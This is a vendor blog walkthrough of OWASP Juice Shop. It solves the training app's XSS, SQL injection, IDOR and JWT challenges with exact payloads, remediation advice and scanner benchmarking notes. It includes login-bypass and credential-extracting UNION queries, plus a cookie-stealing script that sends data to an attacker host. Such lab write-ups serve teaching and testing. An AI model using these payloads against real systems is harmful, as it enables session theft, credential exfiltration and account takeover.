Skip to main content

Free 30-min security demo Book Now

Offensive360 Offensive360
Application Security

Juice Shop XSS, SQL Injection & IDOR: Solutions & Techniques

Solve OWASP Juice Shop's XSS, SQL injection, and IDOR challenges with exact payloads and full explanations. Covers reflected XSS, stored XSS, DOM XSS, SQLi login bypass, and basket IDOR.

Offensive360 Security Research Team — min read
juice shop xss juice shop sql injection juice shop idor owasp juice shop juice shop challenges juice shop solutions juice shop walkthrough OWASP Juice Shop reflected xss stored xss dom xss sql injection login bypass idor bola insecure direct object reference web application security security testing practice

OWASP Juice Shop packs three of the most important web vulnerability classes into one application: Cross-Site Scripting (XSS), SQL Injection, and Insecure Direct Object Reference (IDOR). These three categories appear in every OWASP Top 10 release and represent a significant percentage of real-world web application vulnerabilities found in production security assessments.

This guide covers every Juice Shop XSS, SQL injection, and IDOR challenge — with exact payloads, step-by-step exploitation, and explanations of what each vulnerability teaches about real-world application security.

Start Juice Shop with one Docker command:

docker run --rm -p 3000:3000 bkimminich/juice-shop

Then open http://localhost:3000 and navigate to /#/score-board to track your progress.


Juice Shop XSS Challenges

Juice Shop includes all three XSS types — reflected, stored, and DOM-based — in different contexts that mirror real-world vulnerability patterns. Understanding all three is essential because each type has different attack scenarios, detection methods, and remediation approaches.

What Is XSS and Why It Matters

Cross-Site Scripting (XSS) occurs when an application includes untrusted data in a web page without proper encoding. An attacker’s JavaScript executes in the victim’s browser in the context of the vulnerable application — allowing session token theft, credential harvesting, UI redressing, and malicious actions performed as the victim.

XSS maps to CWE-79 (Improper Neutralization of Input During Web Page Generation) and appears in OWASP A03:2021 — Injection.


Challenge: DOM XSS (⭐ — 1 Star)

Objective: Perform a DOM-based XSS attack with <iframe src="javascript:alert('xss')">.

Steps:

  1. Go to the Juice Shop home page at http://localhost:3000
  2. In the search bar, type: <iframe src="javascript:alert('xss')">
  3. Press Enter

What happens: Juice Shop’s Angular frontend takes the search query and writes it into the DOM using an unsafe binding. The <iframe> element is inserted into the page and the javascript: pseudo-protocol executes, triggering an alert popup.

Why javascript: in an iframe src? The javascript: URI scheme in src and href attributes is a classic DOM XSS vector that often bypasses naive content filters that only block <script> tags. The payload doesn’t require a closing </script> tag and works in many contexts where script tag injection is blocked.

The underlying vulnerability: The Angular search component passes the q URL parameter to an inner HTML binding without using Angular’s built-in sanitization. In production applications, DOM XSS commonly appears when developers use innerHTML, document.write(), or Angular’s [innerHTML] binding with user-controlled data.

Real-world equivalent: Single-page applications that render URL fragments into the DOM are frequently vulnerable to DOM XSS. This is particularly common in Angular, React, and Vue apps that parse URL parameters on the client side.


Challenge: Bonus Payload (⭐ — 1 Star)

Objective: Use the Juice Shop-specific iframe payload: <iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/771984076&color=%23ff5500&auto_play=true&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true"></iframe>

Steps:

  1. Paste the full payload into the search box
  2. The SoundCloud embed loads in the product listing area

What it teaches: XSS doesn’t require alert() — real-world XSS exploits embed external content, load keyloggers, redirect to phishing pages, or silently exfiltrate data via fetch() or navigator.sendBeacon(). The alert() payload is just the proof-of-concept; the impact depends on what the attacker’s script actually does.


Challenge: Reflected XSS (⭐⭐ — 2 Stars)

Objective: Perform a reflected XSS attack.

Steps:

  1. Log in with any account (use SQL injection to bypass login: ' OR '1'='1'-- in the email field)
  2. Navigate to the order tracking page: http://localhost:3000/#/track-result
  3. Append a malicious parameter: http://localhost:3000/#/track-result?id=<iframe src="javascript:alert('xss')">
  4. The id parameter is reflected in the page without encoding, executing the script

What makes this reflected (not stored)? The payload is in the URL and fires only when that URL is visited. No data is saved to the database. A reflected XSS attack typically requires the attacker to trick the victim into clicking a malicious URL — making it effective in phishing campaigns but requiring active delivery, unlike stored XSS.

Detection difference: Reflected XSS is easier for DAST scanners to find because the payload is echoed back in the immediate response. Stored XSS and DOM XSS require the scanner to observe delayed rendering or client-side DOM manipulation.


Challenge: API-Only XSS (⭐⭐⭐ — 3 Stars)

Objective: Perform a persisted XSS attack with <iframe src="javascript:alert('xss')"> bypassing a client-side security mechanism.

Steps:

  1. The Juice Shop admin panel displays a “Last Login IP” field
  2. The application has client-side XSS filtering — form submissions from the browser are sanitized
  3. Bypass the filter by submitting the payload directly through the API (not the UI):
# Log in to get a JWT token
curl -X POST http://localhost:3000/api/Users/login \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"admin123"}'
  1. Set the Last Login IP header directly (the value is captured from the X-Forwarded-For header):
curl -s -X GET http://localhost:3000/rest/saveLoginIp \
  -H "Authorization: Bearer YOUR_JWT_TOKEN" \
  -H "X-Forwarded-For: <iframe src=\"javascript:alert('xss')\">"
  1. When an admin views the admin panel, the stored XSS payload fires in their browser.

What it teaches: Client-side input validation is not a security control. Any request to the API can bypass browser-enforced validation entirely using curl, Burp Suite, or any HTTP client. All validation must happen server-side. The X-Forwarded-For header is a particularly dangerous source of injection because developers often forget it’s user-controlled.


Challenge: Stored XSS via Product Review (⭐⭐⭐ — 3 Stars)

Objective: Perform a persisted XSS attack with <iframe src="javascript:alert('xss')"> on the product review functionality.

Steps:

  1. Log in as any user
  2. Navigate to any product page (click a product in the product listing)
  3. Submit a review containing: <iframe src="javascript:alert('xss')">
  4. Navigate away and return to the product page
  5. When the review is rendered, the <iframe> executes in any browser that views it

What it teaches: Stored XSS is the most dangerous XSS type — the payload persists in the database and fires automatically for every user who views the page, with no interaction required from the attacker after the initial submission. User-generated content platforms (review systems, comment sections, forums, ticket systems, CRM notes) are the most common location for stored XSS in production applications.

Real-world impact: A stored XSS payload in a product review could silently steal session tokens from all customers who view that product: <script>fetch('https://attacker.com/?c='+document.cookie)</script>.


Juice Shop XSS Remediation Patterns

Each Juice Shop XSS challenge demonstrates a different context where encoding fails. The fix in every case is context-appropriate output encoding:

XSS ContextVulnerable PatternCorrect Fix
HTML bodyinnerHTML = userInputtextContent = userInput
HTML attributeelement.setAttribute('href', userInput)Validate URL scheme; use textContent
JavaScript string"var x = '" + userInput + "'"JSON.stringify(userInput)
Angular template[innerHTML]="userInput"{{ userInput }} (auto-encoded)
React JSXdangerouslySetInnerHTML{userInput} (auto-encoded)

In Angular specifically: {{ expression }} is safe (auto-encoded); [innerHTML]="expression" requires DomSanitizer.bypassSecurityTrustHtml() only for trusted content.


Juice Shop SQL Injection Challenges

SQL injection in Juice Shop spans multiple entry points and techniques — from the classic login bypass to blind injection in the search endpoint. These challenges cover the vulnerability patterns found most frequently in real enterprise application assessments.

What SQL Injection Is and Why It Persists

SQL injection occurs when user-supplied input is incorporated into a SQL query without parameterization, allowing attackers to modify the query’s logic. Despite being a well-understood vulnerability for over 25 years, SQL injection remains one of the top findings in enterprise security assessments — particularly in legacy codebases using string-concatenated queries.

SQL injection maps to CWE-89 and is included in OWASP A03:2021 — Injection.


Challenge: Login Admin via SQL Injection (⭐⭐ — 2 Stars)

Objective: Log in with the administrator’s account without knowing the password.

Steps:

  1. Navigate to http://localhost:3000/#/login
  2. In the Email field, enter: ' OR '1'='1'--
  3. In the Password field, enter anything
  4. Click Log In

What happens: Juice Shop constructs a login query using string concatenation:

-- The intended query:
SELECT * FROM Users WHERE email = '[email protected]' AND password = 'hash'

-- With the injection payload:
SELECT * FROM Users WHERE email = '' OR '1'='1'--' AND password = 'anything'

The '1'='1' condition is always true, so the WHERE clause returns all rows. The -- comment terminates the rest of the query, bypassing the password check entirely. SQLite (Juice Shop’s default database) returns the first user row — the admin account.

Variations to try:

-- Standard bypass
' OR '1'='1'--

-- Login as a specific user if you know their email
[email protected]'--

-- Using # as comment (MySQL)
' OR '1'='1'#

-- Without using OR
') OR ('1'='1

The underlying issue: Juice Shop’s login SQL is built with string concatenation rather than parameterized queries:

// Vulnerable (simplified):
const query = `SELECT * FROM Users WHERE email = '${email}' AND password = '${password}'`;

// Fixed — parameterized:
db.query('SELECT * FROM Users WHERE email = ? AND password = ?', [email, password]);

Challenge: Login Jim (⭐⭐⭐ — 3 Stars)

Objective: Log in with Jim’s user account.

Steps:

  1. Find Jim’s email: Jim has posted product reviews. Check the product reviews section — his email [email protected] appears in review attribution. Alternatively, query the API: GET /api/Users (may require authentication).

  2. Log in with SQL injection targeting Jim’s account:

What it teaches: SQL injection is not limited to bypassing all authentication — it can target specific accounts. If an attacker knows a victim’s email, SQL injection can be used for account takeover without knowing the password. This is the pattern used in targeted attacks against high-value accounts.


Challenge: Login Bender (⭐⭐⭐ — 3 Stars)

Objective: Log in with Bender’s account.

Steps:

  1. Find Bender’s email — like Jim, Bender has left product reviews. His email is [email protected].
  2. Login with:

These “targeted login” challenges reinforce that SQL injection for authentication bypass works for any account, not just the first result in the database.


Challenge: Database Schema (⭐⭐⭐ — 3 Stars)

Objective: Exfiltrate the entire DB schema definition using the search functionality.

Steps:

  1. The product search endpoint is injectable: GET /rest/products/search?q=

  2. Test for injection: http://localhost:3000/rest/products/search?q=' — you should see an error

  3. Determine the number of columns in the result set using ORDER BY:

    • http://localhost:3000/rest/products/search?q=test' ORDER BY 1-- (works)
    • Increment until it fails to find the column count
  4. Use UNION-based injection to extract schema information:

-- SQLite schema extraction
http://localhost:3000/rest/products/search?q=')) UNION SELECT sql,2,3,4,5,6,7,8,9 FROM sqlite_master--

What it teaches: UNION-based SQL injection for data exfiltration. Beyond authentication bypass, SQL injection can extract arbitrary database contents — table names, column definitions, user credentials, payment information, and any other data stored in the database. This is why CWE-89 is consistently rated Critical severity.


Challenge: User Credentials (⭐⭐⭐⭐ — 4 Stars)

Objective: Retrieve a list of all user credentials via SQL injection in the product search.

Steps: Using the UNION injection from the database schema challenge:

-- Extract user email and password hashes
http://localhost:3000/rest/products/search?q=')) UNION SELECT id,email,password,4,5,6,7,8,9 FROM Users--

The response includes all user emails and their password hashes (MD5 in Juice Shop — intentionally weak).

What it teaches: Complete credential exfiltration through SQL injection. In real-world SQL injection vulnerabilities, this is the ultimate payload — retrieving all user credentials from the application’s database. Combined with offline password cracking against weak hash functions (MD5, SHA1, unsalted SHA256), credential exfiltration leads directly to account takeover.


Juice Shop SQL Injection: Why It’s Still Common

Despite being a 25-year-old vulnerability class, SQL injection persists in production codebases for predictable reasons:

  1. Legacy code: SQL injection is most common in applications written before ORM frameworks became standard. String-concatenated queries are the original pattern.

  2. Raw SQL in ORMs: Modern ORMs prevent SQL injection by default, but every major ORM provides a raw SQL escape hatch (FromSqlRaw(), NativeQuery, db.execute()). Developers who “need performance” use these without parameterizing.

  3. Stored procedures with dynamic SQL: SQL Server stored procedures that use EXEC(@sql) or sp_executesql with unparameterized strings are injection-vulnerable.

  4. Second-order injection: The most dangerous pattern — user input is stored safely but later retrieved and used in a new unparameterized query. See our second-order SQL injection guide for full coverage.

The fix is always parameterized queries:

-- Vulnerable (any language):
"SELECT * FROM users WHERE email = '" + email + "'"

-- Fixed (prepared statement):
"SELECT * FROM users WHERE email = ?"  -- with email passed as parameter

Juice Shop IDOR Challenges

IDOR (Insecure Direct Object Reference) occurs when an application exposes internal object identifiers — database row IDs, file names, user IDs — and allows users to access other objects by modifying those identifiers without server-side authorization checks.

IDOR maps to CWE-639 (Authorization Bypass Through User-Controlled Key) and is the top-ranked vulnerability in OWASP API Security Top 10 2023 (API1: Broken Object Level Authorization / BOLA).


Challenge: View Another User’s Basket (⭐⭐ — 2 Stars)

Objective: View another user’s shopping basket.

Steps:

  1. Log in with any account
  2. Add any item to your basket
  3. Open DevTools → Application → Local Storage
  4. Find the bid key — this is your basket ID (e.g., 5)
  5. Change the value to 1, 2, 3, etc.
  6. Navigate to http://localhost:3000/#/basket
  7. The basket page loads the basket matching the bid from local storage — you’re now viewing another user’s basket

What happens under the hood: When you load the basket page, the application sends GET /api/BasketItems/?BasketId=1 using the bid from local storage. The server returns the basket contents without verifying that basket ID 1 belongs to your account. This is the IDOR vulnerability.

Why this matters: In real applications, basket IDs, order IDs, account numbers, and invoice IDs are all potential IDOR targets. Any time an application accepts a user-supplied ID and retrieves a database record without checking ownership, IDOR is likely present. APIs are particularly vulnerable because the object ID is explicit in the endpoint URL or request body.


Challenge: Manipulate Basket (⭐⭐⭐ — 3 Stars)

Objective: Put an arbitrary item into another user’s shopping basket.

Steps:

  1. Log in and add an item to your own basket normally
  2. Intercept the API request to add an item. In DevTools → Network, find the request: POST /api/BasketItems/
  3. The request body looks like:
{
  "ProductId": 1,
  "BasketId": "6",
  "quantity": 1
}
  1. Change BasketId to another user’s basket ID (try 1, 2, 3)
  2. The item is added to the specified basket — even though it belongs to another user

What it teaches: IDOR is not limited to read access. Write-access IDOR allows attackers to modify other users’ data, add items to their accounts, or trigger actions on their behalf. The API accepts the BasketId from the request body and inserts the item without verifying that the authenticated user owns that basket.


Challenge: Forged Feedback (⭐⭐⭐ — 3 Stars)

Objective: Post feedback in another user’s name.

Steps:

  1. Log in as any user
  2. Submit feedback through the contact form
  3. Intercept the API call in DevTools → Network: POST /api/Feedbacks/
  4. The request body includes:
{
  "UserId": 6,
  "comment": "Great shop!",
  "rating": 4,
  "captchaId": 0,
  "captcha": "-1"
}
  1. Change UserId to 1 (the admin’s user ID)
  2. The feedback is posted as if the admin submitted it

What it teaches: Mass assignment via IDOR. The server accepts the UserId from the request body and uses it directly instead of reading the authenticated user’s ID from the session/JWT. Any user can post as any other user by supplying a different UserId.

The fix: Never accept user-supplied identity attributes in request bodies. The authenticated user’s ID should always come from the verified session token, not from request parameters.


Challenge: View Another User’s Profile (⭐⭐⭐ — 3 Stars)

Objective: Access the profile data of a user other than yourself.

Steps:

  1. Log in with any user account
  2. Navigate to your own profile at http://localhost:3000/#/profile
  3. Note the API call in DevTools: GET /api/Users/6 (where 6 is your user ID)
  4. Modify the ID in the URL: GET /api/Users/1 returns the admin’s profile data
  5. The server returns full profile data including email, role, and other sensitive fields

Real-world equivalent: REST API endpoints like /api/users/{id}, /api/accounts/{id}, /api/orders/{id} are IDOR-vulnerable whenever the server doesn’t verify that the authenticated user has authorization to access the specified ID. This is the most common finding in REST API penetration testing assessments.


Challenge: Admin Section Access via JWT Manipulation (⭐⭐⭐⭐ — 4 Stars)

Objective: Access the administration panel.

Steps:

  1. Log in as any user and capture your JWT from DevTools → Application → Local Storage → token
  2. Decode the JWT’s payload (the middle base64url segment):
// In browser console:
JSON.parse(atob('eyJkYXRhIjp7InJvbGUiOiJjdXN0b21lciJ9fQ=='))
// Returns: { data: { role: "customer" } }
  1. The JWT payload contains a role field. To access the admin section, you need "role": "admin"
  2. To forge this: Use the JWT algorithm confusion technique (change alg: RS256 to alg: none) — see the full walkthrough in our Juice Shop challenge solutions guide
  3. With a forged admin JWT, navigate to http://localhost:3000/#/administration

What it teaches: IDOR at the role/permission level. The application stores the user’s role in the JWT payload and trusts it without sufficient verification. This is the JWT variant of IDOR — instead of a row ID, the attacker manipulates a role attribute that determines access.


Why These Three Vulnerabilities Cluster Together

XSS, SQL injection, and IDOR frequently appear together in production codebases because they share a root cause: insufficient trust boundary enforcement. The application fails to consistently apply the principle that user-supplied data is untrusted — whether it’s data being written to a page (XSS), inserted into a query (SQLi), or used to identify an object (IDOR).

In real security assessments, finding one of these vulnerability classes in an application strongly predicts finding the others. An application that doesn’t parameterize SQL queries often also lacks output encoding (XSS) and authorization checks (IDOR) — because all three reflect the same underlying development culture around input handling.


Using These Challenges to Benchmark Security Tools

Juice Shop XSS, SQL injection, and IDOR challenges serve as effective benchmarks for security testing tools:

DAST scanner benchmark: A production-ready DAST scanner must automatically find:

  • SQL injection in the login form and search endpoint (Challenges: Login Admin, Database Schema)
  • Reflected XSS in the order tracking URL parameter
  • Stored XSS in product reviews

SAST scanner benchmark: A production-ready SAST scanner must identify:

  • String-concatenated SQL queries (the code behind Login Admin SQLi)
  • Unsafe innerHTML or Angular [innerHTML] bindings (DOM XSS)
  • Missing authorization checks on object ID parameters (IDOR)

What scanners typically miss:

  • DOM XSS that only fires after client-side rendering (many DAST tools miss this without JavaScript execution)
  • Second-order SQL injection where the payload is stored then fired later
  • Business logic IDOR where the authorization check is present but insufficient

Offensive360 DAST benchmarks against Juice Shop on every release — verifying that these vulnerability classes are consistently detected. If your DAST scanner cannot find the unobfuscated SQL injection in Juice Shop’s login form, it will miss similar patterns in your production application:

  • Book a demo — results in minutes
  • Book a demo — see live scanning against Juice Shop or your own application

Frequently Asked Questions

Does Juice Shop have XSS protection?

Juice Shop intentionally disables or bypasses XSS protection in specific locations to create exploitable challenges. In a production application, Angular’s template engine provides automatic HTML encoding by default — the XSS vulnerabilities in Juice Shop are deliberately created by using unsafe bindings (innerHTML) or by processing user input server-side without encoding. The default Angular {{ expression }} syntax encodes output automatically.

Why do Juice Shop SQL injection payloads use -- comments?

The -- is the SQL comment syntax for SQLite and most SQL databases. Everything after -- on a line is ignored by the SQL parser. In the login bypass payload ' OR '1'='1'--, the -- causes the password hash check (which comes after the email condition) to be commented out. MySQL also accepts # as a comment character. Microsoft SQL Server uses -- or /* */.

Can automated scanners solve Juice Shop IDOR challenges?

Standard DAST scanners can detect some IDOR vulnerabilities by systematically incrementing or modifying object IDs in API calls and checking for unauthorized access. However, detecting IDOR requires the scanner to understand the difference between “my resource” and “someone else’s resource” — which requires authentication context and session awareness. Scanners that test APIs without authentication will miss most IDOR findings.

What is the difference between IDOR and broken access control?

IDOR is a subset of broken access control (OWASP A01:2021). Broken access control covers all forms of authorization failure — including IDOR (accessing other users’ objects), privilege escalation (accessing admin functions), and path traversal (accessing unauthorized files). IDOR specifically refers to authorization failures at the individual object level, typically by manipulating an identifier in an API call. In the OWASP API Security Top 10, this is listed as BOLA (Broken Object Level Authorization), equivalent to IDOR.

How do I find IDOR vulnerabilities in real applications?

When testing a real web application for IDOR:

  1. Create two user accounts and log in separately in two browsers
  2. In Account A’s browser, find any URL or API call that references an object ID (order ID, basket ID, profile ID)
  3. Copy that API call and replay it in Account B’s browser (or with no authentication)
  4. If Account B can read Account A’s data — that’s IDOR
  5. Try modifying the ID to other sequential values to see what other data is accessible

Look specifically at REST API endpoints with patterns like /api/users/{id}, /api/orders/{id}, /api/invoices/{id} — these are the most common IDOR locations.


Summary

VulnerabilityJuice Shop ChallengeCWEReal-World Prevalence
DOM XSSDOM XSS (search bar)CWE-79High — SPAs with URL parameter rendering
Reflected XSSReflected XSS (order tracking)CWE-79High — any endpoint reflecting URL params
Stored XSSStored XSS (product reviews)CWE-79High — user-generated content platforms
SQL injection (login bypass)Login AdminCWE-89High — legacy PHP/ASP.NET applications
SQL injection (data exfiltration)User CredentialsCWE-89High — same codebases
IDOR (read)View BasketCWE-639Very high — most REST APIs
IDOR (write)Manipulate BasketCWE-639High — APIs accepting object IDs in request bodies
JWT role manipulationAdmin SectionCWE-287Medium — APIs with insecure JWT implementations

Mastering XSS, SQL injection, and IDOR in Juice Shop builds the pattern recognition that transfers directly to real-world penetration testing and secure code review. Each challenge type maps precisely to a vulnerability pattern found regularly in enterprise production applications.


Offensive360 SAST detects SQL injection (including second-order), XSS in multiple rendering contexts, and IDOR patterns (missing authorization checks on object IDs) across 60+ languages. Book a demo — see what your codebase actually contains.

Offensive360 Security Research Team

Application Security Research

Find vulnerabilities before attackers do

Run Offensive360 SAST and DAST against your applications and get a full vulnerability report in minutes.